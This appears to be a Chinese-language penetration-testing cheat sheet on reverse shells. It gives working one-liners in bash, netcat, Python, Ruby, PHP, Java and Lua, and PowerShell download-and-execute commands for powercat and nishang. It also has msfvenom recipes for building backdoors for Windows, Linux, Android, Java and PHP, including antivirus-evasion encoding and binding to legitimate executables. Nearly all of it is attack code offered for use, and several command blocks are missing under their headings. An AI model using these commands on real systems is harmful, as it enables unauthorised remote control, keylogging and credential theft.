1.常規反彈shell:
攻擊機:
2.解釋:
/dev/tcp/ 是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。
其他版本:
exec 5<>/
-
第一條命令 建立與x.x.x.x:9999的tcp連接,並將標准輸入輸出作為device 5的標准輸入輸出
-
第二條cat <&5 獲取device5的輸入;
while read line; do $line 2>&5 >&5
一旦獲取到命令便運行 然后將標准輸入輸出以及標准錯誤輸出到device5中
0x01 nc(netcat)反彈
1.第一種:
攻擊機:
2.第二種:
nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321 //在攻擊主機上打開兩個終端,分別監聽 1234 和 4321 端口,得到反彈shell后,1234 終端 輸入命令, 4321 終端就會獲得執行相應命令后的結果
3.第三種:
由於現在很多主機上可能沒有netcat了,所以如果遇到雖然有netcat 但不支持 nc -e /bin/bash 攻擊主機ip port
中 -e
選項的主機,還可以這樣反彈shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
-
rm /tmp/f
刪除命令 -
mkfifo /tmp/f;
在tmp目錄下寫fifo文件f -
/bin/sh -i 2>&1
將/bin/sh 的標准錯誤重定向到標准輸出 -
nc x.x.x.x 2333 >/tmp/f
將nc監聽到的輸入 輸入到fifo
0x02 telnet反彈
-
在攻擊主機上打開兩個終端分別監聽 1234 和 4321端口,(確保端口開放,並且不被占用),得到反彈shell后,1234 終端 輸入命令, 4321 終端就會獲得執行相應命令后的結果:
-
在目標主機上執行:
0x03常見腳本反彈
以上腳本是在目標主機上執行,其中 x.x.x.x 均為攻擊主機ip,並且需要提前在攻擊主機上進行監聽相關端口,接下來就不再贅述
1. python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
2. perl
方法一:
方法二:
3. Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
4. PHP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
5. Java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
6. Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
7. AWK 反彈
攻擊的機器監聽,在收到shell的時候不可以輸入enter,不然會斷開
0x04 Mshta 反彈 shell
powershell反彈shell
0x05 powercat反彈shell
powercat(https://github.com/besimorhino/powercat)為Powershell版的Netcat,實際上是一個powershell的函數,使用方法類似Netcat。
受害機:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
或者:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999
攻擊機:
Nc –lvnp 9999
0x06 nishang反彈shell
操作系統 | PowerShell版本 | 是否可升級 |
---|---|---|
Window7/Windows server 2008 | 2.0 | 可以升級3.0、4.0 |
Window 8/ Windows server 2012 | 3.0 | 可升級4.0 |
Window 8.1/ Windows server 2012 R2 | 4.0 | 升級5.0 5.1 |
https://github.com/samratashok/nishang/
tips:
-
Nishang要在PowerShell3.0以上的環境下才可以正常使用,在window 7或者server2008上可能會出現一些異常。
-
輸入Get-Host或者$PSVersionTable.PSVERSION來查看版本信息。
導入Nishang模塊
Import-Module .\nishang.psm1
導入成功后,產看Nishang中模塊
Get-Command –Module nishang
Nishang攻擊模塊有(部分):
-
Check-VM:檢測目標機器是否為虛擬機
-
Invoke-CredentialsPhish:欺騙目標主機用戶,用作釣魚
-
Copy-VSS:利用Volume Shaodow Copy復制sam文件
-
FireBuster FireLiStener:用作內網環境掃描
-
Keylogger:用作鍵盤記錄
-
Invoke-Mimikatz:類似Mimikatz,直接獲取系統賬號明文密碼
-
Get-PassHashes:獲取系統密碼hash值
1. 基於TCP的Powershell交互式shell
受害機:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
其中,Invoke-PowerShellTcp是基於TCP協議的Powershell正向連接或者反向連接shell,其參數如下:
- IPAddress 反向連接時設置的IP
- Port 正向連接時設置的端口,前面要寫上-Bind參數
- Reverse 反向連接
- Bind 正向連接
反向連接: Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
正向連接: Invoke-PowerShellTcp -Bind -Port 4444
2. 基於UDP的Powershell交互式shell
受害機:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399
攻擊機:
反向連接: nc -lup 6005
正向連接: nc -nvu 192.168.1.24 4555
3. 基於ICMP的Powershell交互式Shell
受害機:
Invoke-PowerShellIcmp -IPAddress <source IP address>
攻擊機:
python icmpsh-m.py <source IP address> <destination IP address>
4. 基於HTTP/HTTPS的Powershell交互式Shell
HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444
HTTPS: Invoke-PoshRatHttps –IPAddess 192.168.1.4 –Port 4444
然后會生成一個powershell如下的命令····IEX ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
然后復制該命令在被攻擊機器上執行即可,便可看到反彈的shell
0x07 socat反彈shell
socat,一個多功能的網絡工具,名字來源於SOcket CAT,是netcat的增強版,也就是netcat++(擴展了設計,並有新的實現)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
0x08 msf生成payload反彈shell
常用命令:
1. –p (- -payload-options)
添加載荷payload。
根據對應的載荷payload生成對應平台下的后門。
(- -payload-options 列出payload選項)
2. –l
查看所有payload encoder nops。
3. –f (- -help-formats)
(- -help-formats 列出所有文件格式)
Executable formats:
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
4. –e
編碼免殺。
5. –a (- -platform – -help-platforms)
選擇架構平台
x86 | x64 | x86_64
Platforms:
windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
6. –o
文件輸出。
7. –s
生成payload的最大長度,就是文件大小。
8. –b
避免使用的字符 例如:不使用 ‘\0f’。
9. –i
編碼次數。
10. –c
添加自己的shellcode。
11. –x | -k
捆綁。例如:原先有個正常文件normal.exe 可以通過這個選項把后門捆綁到這個程序上面。
1、創建監聽:
(根據后門使用的payload選擇監聽時對應payload,默認使用generic/shell_reverse_tcp):
2、生成windows exe 后門:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f exe > shell.exe //自行選擇平台架構

3、生成linux后門:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f elf > mshell.elf

4、生成java后門:
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 w > 123.jar

5、生成asp后門:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f asp > shell.asp

6、生成jsp后門:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f raw > shell.jsp

7、生成php后門:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.193 LPORT=4444 -o 1234.php

8、生成android后門:
msfvenom -p android/meterpreter_reverse_tcp LHOST=10.10.12.191 LPORT=4444 R > 11.apk

9、生成war后門:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.12.191 LPORT=4444 -f war > shell.war

10、生成mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻擊機IP LPORT=攻擊機端口 -f c
11、生成 linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=攻擊機端口 -f c
12、生成 windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=攻擊機端口 -f c